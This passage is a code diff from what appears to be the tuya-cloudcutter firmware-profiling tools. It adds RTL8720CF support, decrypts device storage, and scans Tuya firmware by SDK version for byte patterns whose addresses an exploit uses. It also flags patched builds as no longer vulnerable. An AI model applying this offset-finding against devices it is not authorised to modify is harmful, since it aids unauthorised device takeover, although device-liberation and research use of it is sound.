import process_app
|
||||
@@ -9,6 +11,10 @@ import process_storage
|
||||
import pull_schema
|
||||
|
||||
|
||||
class Platform(Enum):
|
||||
BEKEN = "BEKEN",
|
||||
RTL8720CF = "RTL8720CF"
|
||||
|
||||
def print_filename_instructions():
|
||||
print('Encrypted bin name must be in the pattern of Manufacturer-Name_Model-and-device-description')
|
||||
print('Use dashes in places of spaces, and if a dash (-) is present, replace it with 3 dashes (---)')
|
||||
@@ -26,14 +32,21 @@ if __name__ == '__main__':
|
||||
if len(sys.argv) > 2 and sys.argv[2] is not None:
|
||||
token = sys.argv[2]
|
||||
|
||||
process_inactive_app = False
|
||||
for arg in sys.argv:
|
||||
if arg == '--inactive':
|
||||
process_inactive_app = True
|
||||
|
||||
file = sys.argv[1]
|
||||
output_dir = file.replace('.bin', '')
|
||||
base_name = os.path.basename(output_dir)
|
||||
dirname = os.path.dirname(file)
|
||||
storage_file = os.path.join(dirname, base_name, base_name + '_storage.json')
|
||||
app_file = os.path.join(dirname, base_name, base_name + '_app_1.00_decrypted.bin')
|
||||
schema_id_file = os.path.join(dirname, base_name, base_name + '_schema_id.txt')
|
||||
extracted_location = os.path.join(dirname, base_name)
|
||||
base_name = os.path.basename(file.replace('.bin', ''))
|
||||
extract_folder_name = base_name
|
||||
if process_inactive_app:
|
||||
extract_folder_name += '.inactive_app'
|
||||
current_dirname = os.path.dirname(file)
|
||||
storage_file = os.path.join(current_dirname, extract_folder_name, base_name + '_storage.json')
|
||||
app_file = os.path.join(current_dirname, extract_folder_name, base_name + '_active_app.bin')
|
||||
schema_id_file = os.path.join(current_dirname, extract_folder_name, base_name + '_schema_id.txt')
|
||||
extracted_location = os.path.join(current_dirname, extract_folder_name)
|
||||
|
||||
if base_name.count('_') != 1 or base_name.count(' ') > 0:
|
||||
print_filename_instructions()
|
||||
@@ -41,9 +54,22 @@ if __name__ == '__main__':
|
||||
|
||||
print(f"[+] Processing {file=} as {base_name}")
|
||||
|
||||
extract.run(file)
|
||||
extract_platform = None
|
||||
with open(file, 'rb') as fs:
|
||||
appcode = fs.read()
|
||||
if appcode.find(b'Ameba', 0) > -1:
|
||||
extract_platform = Platform.RTL8720CF
|
||||
else:
|
||||
extract_platform = Platform.BEKEN
|
||||
|
||||
if extract_platform == Platform.BEKEN:
|
||||
extract_beken.run(file)
|
||||
elif extract_platform == Platform.RTL8720CF:
|
||||
extract_rtl8720cf.run(file, process_inactive_app)
|
||||
else:
|
||||
raise("no platform?")
|
||||
haxomatic.run(app_file)
|
||||
process_storage.run(storage_file)
|
||||
process_storage.run(storage_file, process_inactive_app)
|
||||
process_app.run(app_file)
|
||||
|
||||
if not os.path.exists(schema_id_file):
|
||||
|
||||
@@ -33,71 +33,73 @@ def run(full_encrypted_file: str):
|
||||
print('Examples: Tuya-Generic_DS---101-Touch-Switch.bin or Tuya-Generic_A60-E26-RGBCT-Bulb.bin')
|
||||
sys.exit(1)
|
||||
|
||||
global current_dir, extractfolder, foldername
|
||||
global current_dir
|
||||
current_dir = os.path.dirname(full_encrypted_file)
|
||||
output_dir = full_encrypted_file.replace('.bin', '')
|
||||
extractfolder = os.path.abspath(output_dir)
|
||||
foldername = os.path.basename(output_dir)
|
||||
base_name = os.path.basename(full_encrypted_file.replace('.bin', ''))
|
||||
extract_folder_name = base_name
|
||||
extract_folder_path = os.path.abspath(extract_folder_name)
|
||||
input = argparse.ArgumentParser()
|
||||
input.layout = 'ota_1'
|
||||
input.rbl = ''
|
||||
input.file = full_encrypted_file
|
||||
input.output_dir = os.path.join(extractfolder)
|
||||
input.output_dir = os.path.join(extract_folder_path)
|
||||
input.extract = True
|
||||
input.storage = False
|
||||
|
||||
if not os.path.exists(extractfolder) or not os.path.exists(os.path.join(extractfolder, foldername + "_app_1.00_decrypted.bin")):
|
||||
if not os.path.exists(extract_folder_path) or not os.path.exists(os.path.join(extract_folder_path, base_name + "_active_app.bin")):
|
||||
try:
|
||||
bk7231tools.__main__.dissect_dump_file(input)
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
|
||||
dirListing = os.listdir(extractfolder)
|
||||
dirListing = os.listdir(extract_folder_path)
|
||||
|
||||
for file in dirListing:
|
||||
if file.endswith('app_pattern_scan.bin'):
|
||||
os.rename(os.path.join(extractfolder, file), os.path.join(extractfolder, file.replace('app_pattern_scan.bin', 'app_1.00.bin')))
|
||||
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_pattern_scan.bin', 'app_1.00.bin')))
|
||||
elif file.endswith('app_pattern_scan_decrypted.bin'):
|
||||
os.rename(os.path.join(extractfolder, file), os.path.join(extractfolder, file.replace('app_pattern_scan_decrypted.bin', 'app_1.00_decrypted.bin')))
|
||||
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_pattern_scan_decrypted.bin', 'active_app.bin')))
|
||||
elif file.endswith('app_1.00_decrypted.bin'):
|
||||
os.rename(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, file.replace('app_1.00_decrypted.bin', 'active_app.bin')))
|
||||
|
||||
issue = load_file("issue.txt")
|
||||
if issue is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_issue.txt"), 'w') as issueFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_issue.txt"), 'w') as issueFile:
|
||||
issueFile.write(issue)
|
||||
|
||||
image = load_file("image.jpg")
|
||||
if image is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_image.jpg"), 'wb') as imageFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_image.jpg"), 'wb') as imageFile:
|
||||
imageFile.write(image)
|
||||
|
||||
schemaId = load_file("schema_id.txt")
|
||||
if schemaId is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_schema_id.txt"), 'w') as schemaIdFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_schema_id.txt"), 'w') as schemaIdFile:
|
||||
schemaIdFile.write(schemaId)
|
||||
|
||||
schema = load_file("schema.txt")
|
||||
if schema is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_schema.txt"), 'w') as schemaFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_schema.txt"), 'w') as schemaFile:
|
||||
schemaFile.write(schema)
|
||||
|
||||
storage = load_file("storage.json")
|
||||
if storage is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_storage.json"), 'w') as storageFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'w') as storageFile:
|
||||
storageFile.write(storage)
|
||||
|
||||
user_param_key = load_file("user_param_key.json")
|
||||
if user_param_key is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_user_param_key.json"), 'w') as userParamKeyFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_user_param_key.json"), 'w') as userParamKeyFile:
|
||||
userParamKeyFile.write(user_param_key)
|
||||
|
||||
decrypted_app_bin = load_file("app.bin")
|
||||
if decrypted_app_bin is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_app_1.00_decrypted.bin"), 'wb') as decryptedAppFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_active_app.bin"), 'wb') as decryptedAppFile:
|
||||
decryptedAppFile.write(decrypted_app_bin)
|
||||
|
||||
ap_ssid = load_file("ap_ssid.txt")
|
||||
if ap_ssid is not None:
|
||||
with open(os.path.join(extractfolder, foldername + "_ap_ssid.txt"), 'w') as apSsidFile:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_ap_ssid.txt"), 'w') as apSsidFile:
|
||||
apSsidFile.write(ap_ssid)
|
||||
else:
|
||||
print('[+] Encrypted bin has already been extracted')
|
||||
138
profile-building/extract_rtl8720cf.py
Normal file
138
profile-building/extract_rtl8720cf.py
Normal file
@@ -0,0 +1,138 @@
|
||||
import json
|
||||
import os
|
||||
import os.path
|
||||
import shutil
|
||||
import sys
|
||||
|
||||
from bk7231tools.analysis.kvstorage import KVStorage
|
||||
from ltchiptool.commands.flash.split import cli as ltchiptool_split_cli
|
||||
from ltchiptool import Board
|
||||
|
||||
|
||||
def load_file(filename: str):
|
||||
global current_dir
|
||||
permission = 'r'
|
||||
if filename.endswith(".jpg") or filename.endswith(".bin"):
|
||||
permission += 'b'
|
||||
if os.path.exists(os.path.join(current_dir, filename)):
|
||||
with open(os.path.join(current_dir, filename), permission) as f:
|
||||
return f.read()
|
||||
return None
|
||||
|
||||
|
||||
def run(full_filename: str, process_inactive_app: bool = False):
|
||||
if full_filename is None or full_filename == '':
|
||||
print('Usage: python extract.py <full 2M bin file>')
|
||||
sys.exit(1)
|
||||
|
||||
if not full_filename.__contains__('_') or full_filename.__contains__(' ') or not full_filename.endswith('.bin'):
|
||||
print('Filename must match specific rules in order to properly generate a useful profile.')
|
||||
print('The general format is Manufacturer-Name_Model-Number.bin')
|
||||
print('manufacturer name followed by underscore (_) followed by model are required, and the extension should be .bin')
|
||||
print('Dashes (-) should be used instead of spaces, and if there is a dash (-) in any part of the manufacturer or model, it must be replaced with 3 dashes (---) to be maintained.')
|
||||
print('There should only be one underscore (_) present, separating manufacturer name and model')
|
||||
print('Example: a Tuya Generic DS-101 would become Tuya-Generic_DS---101.bin')
|
||||
print('Adding the general device type to the end of the model is recommended.')
|
||||
print('Examples: Tuya-Generic_DS---101-Touch-Switch.bin or Tuya-Generic_A60-E26-RGBCT-Bulb.bin')
|
||||
sys.exit(1)
|
||||
|
||||
global current_dir
|
||||
current_dir = os.path.dirname(full_filename)
|
||||
base_name = os.path.basename(full_filename.replace('.bin', ''))
|
||||
extract_folder_name = base_name
|
||||
if process_inactive_app:
|
||||
extract_folder_name += '.inactive_app'
|
||||
extract_folder_path = os.path.abspath(extract_folder_name)
|
||||
|
||||
if not os.path.exists(extract_folder_name) or not os.path.exists(os.path.join(extract_folder_path, base_name + "_active_app.bin")):
|
||||
try:
|
||||
with open(full_filename, "rb") as f:
|
||||
ltchiptool_split_cli.callback(Board("generic-rtl8720cf-2mb-896k"), f, extract_folder_path, True, True)
|
||||
f.seek(0) # Reset file pointer to beginning after split.
|
||||
result = KVStorage.find_storage(f.read())
|
||||
if not result:
|
||||
raise ValueError("File doesn't contain known storage area")
|
||||
|
||||
_, data = result
|
||||
try:
|
||||
kvs = KVStorage.decrypt_and_unpack(data)
|
||||
except Exception:
|
||||
raise RuntimeError("Couldn't unpack storage data - see program logs")
|
||||
|
||||
try:
|
||||
storage = kvs.read_all_values_parsed()
|
||||
except Exception:
|
||||
raise RuntimeError("Couldn't parse storage data - see program logs")
|
||||
|
||||
storage = json.dumps(storage, indent="\t")
|
||||
open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'wb').write(storage.encode('utf-8'))
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
raise ex
|
||||
|
||||
dirListing = os.listdir(extract_folder_path)
|
||||
|
||||
active_ota_index = 0
|
||||
|
||||
for file in dirListing:
|
||||
if file == "001000_system_E782.bin":
|
||||
active_ota_index = 1
|
||||
elif file == "001000_system_8959.bin":
|
||||
active_ota_index = 2
|
||||
|
||||
# swap active partitions if processing inactive app
|
||||
if process_inactive_app:
|
||||
active_ota_index = active_ota_index % 2 + 1
|
||||
|
||||
for file in dirListing:
|
||||
if active_ota_index == 1 and file.startswith("010000_ota1_"):
|
||||
shutil.copyfile(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, base_name + "_active_app.bin"))
|
||||
elif active_ota_index == 2 and file.startswith("0F0000_ota2_"):
|
||||
shutil.copyfile(os.path.join(extract_folder_path, file), os.path.join(extract_folder_path, base_name + "_active_app.bin"))
|
||||
|
||||
issue = load_file("issue.txt")
|
||||
if issue is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_issue.txt"), 'w') as issueFile:
|
||||
issueFile.write(issue)
|
||||
|
||||
image = load_file("image.jpg")
|
||||
if image is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_image.jpg"), 'wb') as imageFile:
|
||||
imageFile.write(image)
|
||||
|
||||
schemaId = load_file("schema_id.txt")
|
||||
if schemaId is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_schema_id.txt"), 'w') as schemaIdFile:
|
||||
schemaIdFile.write(schemaId)
|
||||
|
||||
schema = load_file("schema.txt")
|
||||
if schema is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_schema.txt"), 'w') as schemaFile:
|
||||
schemaFile.write(schema)
|
||||
|
||||
storage = load_file("storage.json")
|
||||
if storage is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_storage.json"), 'w') as storageFile:
|
||||
storageFile.write(storage)
|
||||
|
||||
user_param_key = load_file("user_param_key.json")
|
||||
if user_param_key is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_user_param_key.json"), 'w') as userParamKeyFile:
|
||||
userParamKeyFile.write(user_param_key)
|
||||
|
||||
decrypted_app_bin = load_file("app.bin")
|
||||
if decrypted_app_bin is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_active_app.bin"), 'wb') as decryptedAppFile:
|
||||
decryptedAppFile.write(decrypted_app_bin)
|
||||
|
||||
ap_ssid = load_file("ap_ssid.txt")
|
||||
if ap_ssid is not None:
|
||||
with open(os.path.join(extract_folder_path, base_name + "_ap_ssid.txt"), 'w') as apSsidFile:
|
||||
apSsidFile.write(ap_ssid)
|
||||
else:
|
||||
print('[+] bin has already been extracted')
|
||||
return
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
run(sys.argv)
|
||||
@@ -35,16 +35,13 @@ def assemble():
|
||||
name = base_name.split('_')[1].replace('-', ' ').replace(" ", "-")
|
||||
device_class = load_file("device_class.txt")
|
||||
chip = load_file("chip.txt")
|
||||
sdk = load_file("sdk.txt")
|
||||
sdk = load_file("sdk_version.txt")
|
||||
bv = load_file("bv.txt")
|
||||
# uuid = load_file("uuid.txt")
|
||||
|
||||
ap_ssid = load_file("ap_ssid.txt")
|
||||
# auth_key = load_file("auth_key.txt")
|
||||
address_finish = load_file("address_finish.txt")
|
||||
haxomatic_matched = load_file("haxomatic_matched.txt") is not None
|
||||
icon = load_file("icon.txt")
|
||||
|
||||
if address_finish is None:
|
||||
if haxomatic_matched is None:
|
||||
print("[!] Directory has not been fully processed, unable to generate classic profile")
|
||||
return
|
||||
|
||||
@@ -54,10 +51,14 @@ def assemble():
|
||||
swv = "0.0.0"
|
||||
product_key = load_file("product_key.txt")
|
||||
firmware_key = load_file("firmware_key.txt")
|
||||
address_finish = load_file("address_finish.txt")
|
||||
address_datagram = load_file("address_datagram.txt")
|
||||
address_ssid = load_file("address_ssid.txt")
|
||||
address_ssid_padding = load_file("address_ssid_padding.txt")
|
||||
address_passwd = load_file("address_passwd.txt")
|
||||
address_passwd_padding = load_file("address_passwd_padding.txt")
|
||||
address_token = load_file("address_token.txt")
|
||||
address_token_padding = load_file("address_token_padding.txt")
|
||||
schema_id = load_file("schema_id.txt")
|
||||
schema = load_file("schema.txt")
|
||||
if schema is not None and schema != '':
|
||||
@@ -94,6 +95,12 @@ def assemble():
|
||||
data["address_ssid_padding"] = int(address_ssid_padding)
|
||||
if address_passwd is not None:
|
||||
data["address_passwd"] = address_passwd
|
||||
if address_passwd_padding is not None:
|
||||
data["address_passwd_padding"] = int(address_passwd_padding)
|
||||
if address_token is not None:
|
||||
data["address_token"] = address_token
|
||||
if address_token_padding is not None:
|
||||
data["address_token_padding"] = int(address_token_padding)
|
||||
|
||||
profile["data"] = data
|
||||
|
||||
@@ -150,6 +157,17 @@ def assemble():
|
||||
if tuyamcu_baud is not None:
|
||||
device["tuyamcu_baud"] = tuyamcu_baud
|
||||
|
||||
# version cleanup
|
||||
name_end = device["name"].split()[-1]
|
||||
# version is present, but doesn't match what is being processed, correct it
|
||||
if name_end.startswith("v") and name_end != f"v{swv}":
|
||||
device["name"] = device["name"].replace(name_end, f"v{swv}")
|
||||
device_filename = device_filename.replace(name_end, f"v{swv}")
|
||||
# no version present, add it
|
||||
if not name_end.startswith("v"):
|
||||
device["name"] = f"{device['name']} v{swv}"
|
||||
device_filename = f"{device_filename}-v{swv}"
|
||||
|
||||
print(f"[+] Creating device profile {device_filename}")
|
||||
with open(os.path.join(full_path, "profile-classic", "devices", f"{device_filename}.json"), 'w') as f:
|
||||
f.write(json.dumps(device, indent='\t'))
|
||||
@@ -163,7 +181,7 @@ def assemble():
|
||||
def run(processed_directory: str):
|
||||
global full_path, base_name
|
||||
full_path = processed_directory
|
||||
base_name = os.path.basename(os.path.normpath(full_path))
|
||||
base_name = os.path.basename(os.path.normpath(full_path)).replace('.inactive_app', '')
|
||||
|
||||
assemble()
|
||||
return
|
||||
|
||||
@@ -1,39 +1,84 @@
|
||||
import os.path
|
||||
import sys
|
||||
from enum import Enum
|
||||
|
||||
|
||||
class Platform(Enum):
|
||||
BK7231T = "BK7231T"
|
||||
BK7231N = "BK7231N"
|
||||
RTL8720CF = "RTL8720CF"
|
||||
|
||||
|
||||
class PlatformInfo(object):
|
||||
def __init__(self, platform : Platform = None, base_address : int = None, start_offset : int = None):
|
||||
self.platform = platform
|
||||
match platform:
|
||||
case Platform.BK7231T | Platform.BK7231N:
|
||||
self.address_size = 3
|
||||
self.base_address = base_address if base_address else 0x0
|
||||
self.start_offset = start_offset if start_offset else 0x10000
|
||||
case Platform.RTL8720CF:
|
||||
self.address_size = 4
|
||||
self.base_address = base_address if base_address else 0x9b000000
|
||||
self.start_offset = start_offset if start_offset else 0x0
|
||||
case _:
|
||||
self.address_size = 0
|
||||
self.base_address = base_address if base_address else 0x0
|
||||
self.start_offset = start_offset if start_offset else 0
|
||||
|
||||
|
||||
class Pattern(object):
|
||||
def __init__(self, type, matchString, count, index, padding : int = 0):
|
||||
self.type = type
|
||||
self.matchString = matchString
|
||||
self.count = count
|
||||
self.index = index
|
||||
self.padding = padding
|
||||
|
||||
|
||||
PATCHED_PATTERNS_TUYAOS3 = [
|
||||
"547579614f5320563a33", # TuyaOS V:3
|
||||
]
|
||||
|
||||
PATCHED_PATTERNS_BK7231N = [
|
||||
"2d6811226b1dff33181c00210393", # Patched BK7231N short/combined
|
||||
"2d6811226b1dff33181c0021039329f0", # Patched BK7231N 2.3.1
|
||||
"2d6811226b1dff33181c002103930bf0", # Patched BK7231N 2.3.3
|
||||
]
|
||||
|
||||
PATCHED_PATTERNS_RTL8720CF = [
|
||||
"d9f80060112206f5827b", # Patched RTL8720CF TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0
|
||||
]
|
||||
|
||||
|
||||
class CodePatternFinder(object):
|
||||
def __init__(self, code: bytes, base_address: int = 0):
|
||||
self.code = code
|
||||
self.base_address = base_address
|
||||
def __init__(self, platform : PlatformInfo):
|
||||
self.platform = platform
|
||||
|
||||
def bytecode_search(self, bytecode: bytes, stop_at_first: bool = True):
|
||||
offset = self.code.find(bytecode, 0)
|
||||
offset = appcode.find(bytecode, 0)
|
||||
|
||||
if offset == -1:
|
||||
return []
|
||||
|
||||
matches = [self.base_address + offset]
|
||||
matches = [self.platform.base_address + offset]
|
||||
if stop_at_first:
|
||||
return matches
|
||||
|
||||
offset = self.code.find(bytecode, offset+1)
|
||||
offset = appcode.find(bytecode, offset+1)
|
||||
while offset != -1:
|
||||
matches.append(self.base_address + offset)
|
||||
offset = self.code.find(bytecode, offset+1)
|
||||
matches.append(self.platform.base_address + offset)
|
||||
offset = appcode.find(bytecode, offset+1)
|
||||
|
||||
return matches
|
||||
|
||||
def set_final_thumb_offset(self, address):
|
||||
# Because we're only scanning the app partition, we must add the offset for the bootloader
|
||||
# Also add an offset of 1 for the THUMB
|
||||
return address + 0x10000 + 1
|
||||
return address + self.platform.start_offset + 1
|
||||
|
||||
|
||||
def name_output_file(desired_appended_name):
|
||||
# File generated by bk7321tools dissect_dump
|
||||
if appcode_path.endswith('app_1.00_decrypted.bin'):
|
||||
return appcode_path.replace('app_1.00_decrypted.bin', desired_appended_name)
|
||||
return appcode_path + "_" + desired_appended_name
|
||||
|
||||
|
||||
@@ -42,108 +87,255 @@ def walk_app_code():
|
||||
if b'TUYA' not in appcode:
|
||||
raise RuntimeError('[!] App binary does not appear to be correctly decrypted, or has no Tuya references.')
|
||||
|
||||
# Older versions of BK7231T, BS version 30.04, SDK 2.0.0
|
||||
if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode and b'AT 8710_2M' in appcode:
|
||||
# 04 1e 2c d1 11 9b is the byte pattern for datagram payload
|
||||
# 3 matches, 2nd is correct
|
||||
# 2b 68 30 1c 98 47 is the byte pattern for finish addess
|
||||
# 1 match should be found
|
||||
process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e2cd1119b", 1, 0, "2b68301c9847", 1, 0)
|
||||
return
|
||||
|
||||
# Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
|
||||
if (b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode) and b'AT 8710_2M' in appcode:
|
||||
# 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
|
||||
# 3 matches, 2nd is correct
|
||||
# 2b 68 30 1c 98 47 is the byte pattern for finish addess
|
||||
# 1 match should be found
|
||||
process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e07d1119b211c00", 3, 1, "2b68301c9847", 1, 0)
|
||||
return
|
||||
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
|
||||
if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t_nobt' in appcode:
|
||||
# b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
|
||||
# 1 match should be found
|
||||
# 23 68 38 1c 98 47 is the byte pattern for finish addess
|
||||
# 2 matches should be found, 1st is correct
|
||||
process_generic("BK7231T", "SDK 1.0.# nobt", "datagram", 0, "b54f061e07d1", 1, 0, "2368381c9847", 2, 0)
|
||||
return
|
||||
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x
|
||||
if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t' in appcode:
|
||||
# a1 4f 06 1e is the byte pattern for datagram payload
|
||||
# 1 match should be found
|
||||
# 23 68 38 1c 98 47 is the byte pattern for finish addess
|
||||
# 2 matches should be found, 1st is correct
|
||||
process_generic("BK7231T", "SDK 1.0.#", "datagram", 0, "a14f061e", 1, 0, "2368381c9847", 2, 0)
|
||||
return
|
||||
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 2.3.0
|
||||
if b'TUYA IOT SDK V:2.3.0' in appcode and b'AT bk7231t' in appcode:
|
||||
# 04 1e 08 d1 4d 4b is the byte pattern for datagram payload
|
||||
# 1 match should be found
|
||||
# 7b 69 20 1c 98 47 is the byte pattern for finish addess
|
||||
# 1 match should be found, 1st is correct
|
||||
# Padding offset of 20 is the only one available in this SDK, instead of the usual 4 for SSID.
|
||||
process_generic("BK7231T", "SDK 2.3.0", "ssid", 20, "041e08d14d4b", 1, 0, "7b69201c9847", 1, 0)
|
||||
return
|
||||
|
||||
# Newest versions of BK7231T, BS 40.00, SDK 2.3.2
|
||||
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 04 1e 00 d1 0c e7 is the byte pattern for ssid payload (offset 8 bytes)
|
||||
# 1 match should be found
|
||||
# bb 68 20 1c 98 47 is the byte pattern for finish address
|
||||
# 1 match should be found, 1st is correct
|
||||
# Padding offset of 8 is the only one available in this SDK, instead of the usual 4 for SSID.
|
||||
process_generic("BK7231T", "SDK 2.3.2", "ssid", 8, "041e00d10ce7", 1, 0, "bb68201c9847", 1, 0)
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
|
||||
# 0.0.2 is also a variant of 2.3.1
|
||||
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
|
||||
or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
|
||||
# 05 1e 00 d1 15 e7 is the byte pattern for ssid payload
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish address
|
||||
# 1 match should be found
|
||||
process_generic("BK7231N", "SDK 2.3.1", "ssid", 4, "051e00d115e7", 1, 0, "4368201c9847", 1, 0)
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
|
||||
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
|
||||
# 05 1e 00 d1 13 e7 is the byte pattern for ssid payload
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish address
|
||||
# 1 match should be found
|
||||
process_generic("BK7231N", "SDK 2.3.3 LAN 3.3/CAD 1.0.4", "ssid", 4, "051e00d113e7", 1, 0, "4368201c9847", 1, 0)
|
||||
return
|
||||
|
||||
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
|
||||
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
|
||||
# 05 1e 00 d1 fc e6 is the byte pattern for ssid payload
|
||||
# 1 match should be found
|
||||
# 43 68 20 1c 98 47 is the byte pattern for finish address
|
||||
# 1 match should be found
|
||||
process_generic("BK7231N", "SDK 2.3.3 LAN 3.4/CAD 1.0.5", "ssid", 4, "051e00d1fce6", 1, 0, "4368201c9847", 1, 0)
|
||||
return
|
||||
|
||||
# TuyaOS V3+, patched
|
||||
if b'TuyaOS V:3' in appcode:
|
||||
with open(name_output_file('patched.txt'), 'w') as f:
|
||||
f.write('patched')
|
||||
print("==============================================================================================================")
|
||||
print("[!] The binary supplied appears to be patched and no longer vulnerable to the tuya-cloudcutter exploit.")
|
||||
print("==============================================================================================================")
|
||||
for patch_pattern in PATCHED_PATTERNS_TUYAOS3:
|
||||
if check_for_patched(patch_pattern):
|
||||
return
|
||||
|
||||
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
|
||||
for patch_pattern in PATCHED_PATTERNS_BK7231N:
|
||||
if check_for_patched(patch_pattern):
|
||||
return
|
||||
|
||||
if b'AT rtl8720cf_ameba' in appcode:
|
||||
for patch_pattern in PATCHED_PATTERNS_RTL8720CF:
|
||||
if check_for_patched(patch_pattern):
|
||||
return
|
||||
|
||||
# Early BK7231T when it was built with a realtek-like string.
|
||||
if b'AT 8710_2M' in appcode:
|
||||
# Older versions of BK7231T, BS version 30.04, SDK 2.0.0
|
||||
if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode:
|
||||
# 04 1e 2c d1 11 9b is the byte pattern for datagram payload
|
||||
# 3 matches, 2nd is correct
|
||||
# 2b 68 30 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 2.0.0 8710_2M",
|
||||
Pattern("datagram", "041e2cd1119b", 1, 0),
|
||||
Pattern("finish", "2b68301c9847", 1, 0))
|
||||
return
|
||||
|
||||
# Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
|
||||
if b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode:
|
||||
# 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
|
||||
# 3 matches, 2nd is correct
|
||||
# 2b 68 30 1c 98 47 is the byte pattern for finish
|
||||
# 1 match should be found
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 2.0.0 8710_2M",
|
||||
Pattern("datagram", "041e07d1119b211c00", 3, 1),
|
||||
Pattern("finish", "2b68301c9847", 1, 0))
|
||||
return
|
||||
|
||||
# Oddball BK7231T built without bluetooth support.
|
||||
if b'AT bk7231t_nobt' in appcode:
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
|
||||
if b'TUYA IOT SDK V:1.0.' in appcode:
|
||||
# b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
|
||||
# 1 match should be found
|
||||
# 23 68 38 1c 98 47 is the byte pattern for finish
|
||||
# 2 matches should be found, 1st is correct
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.# nobt",
|
||||
Pattern("datagram", "b54f061e07d1", 1, 0),
|
||||
Pattern("finish", "2368381c9847", 2, 0))
|
||||
return
|
||||
|
||||
# Typical newer BK7231T
|
||||
if b'AT bk7231t' in appcode:
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x
|
||||
if b'TUYA IOT SDK V:1.0.' in appcode:
|
||||
# a1 4f 06 1e is the byte pattern for datagram payload
|
||||
# 1 match should be found
|
||||
# 23 68 38 1c 98 47 is the byte pattern for finish
|
||||
# 2 matches should be found, 1st is correct
|
||||
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.#",
|
||||
Pattern("datagram", "a14f061e", 1, 0),
|
||||
Pattern("finish", "2368381c9847", 2, 0))
|
||||
return
|
||||
|
||||
# Newer versions of BK7231T, BS 40.00, SDK 2.3.0
|
||||
if b'TUYA IOT SDK V:2.3.0' in appcode:
|
||||
# 04 1e 08 d1 4d 4b is the byte pattern for ssid payload with a padding of 20
|
||||
# 1 match should be found
|
||||
